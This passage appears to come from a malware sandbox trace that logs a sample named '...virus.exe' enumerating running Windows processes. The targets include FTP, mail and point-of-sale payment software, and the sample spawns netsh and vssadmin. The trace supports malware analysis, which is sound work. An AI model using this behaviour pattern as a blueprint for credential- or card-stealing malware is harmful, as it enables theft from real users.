th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="paypal_drunk.exe")) returned 1 [0065.833] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="italian french participants.exe")) returned 1 [0065.834] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bruceanalytical.exe")) returned 1 [0065.834] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="firefoxguess.exe")) returned 1 [0065.835] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="legally notified.exe")) returned 1 [0065.835] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="qualities.exe")) returned 1 [0065.836] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0065.837] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0065.837] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0065.838] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0065.838] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0066.189] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0066.201] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0066.201] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0066.202] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0066.202] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0066.202] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0066.203] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x31c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0066.203] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0066.204] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0066.204] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0066.205] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0066.206] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0066.206] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0066.207] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0066.208] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0066.209] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0066.209] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0066.210] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0066.213] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0066.214] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0066.215] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0066.215] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0066.216] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0066.217] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0066.217] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0066.218] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0066.219] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0066.220] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0066.331] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0066.331] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0066.332] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0066.333] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0066.333] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0066.334] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0066.335] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0066.335] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0066.336] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0066.337] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobile optimum looked.exe")) returned 1 [0066.337] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0066.338] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0066.339] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0066.340] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0066.340] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xbb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0066.341] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0066.341] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xbb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0066.342] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xbb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0066.343] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0066.344] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0066.344] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x15c, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0066.345] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x7d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0066.345] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0066.346] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0066.346] CloseHandle (hObject=0x1c0) returned 1 [0066.346] Sleep (dwMilliseconds=0x1f4) [0069.276] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c4 [0069.286] Process32FirstW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0069.289] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0069.289] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0069.290] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0069.290] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0069.291] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0069.292] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0069.292] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0069.293] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0069.294] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0069.294] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.295] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.296] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.296] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.297] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2f, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.297] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0069.298] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.299] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.299] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0069.300] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, 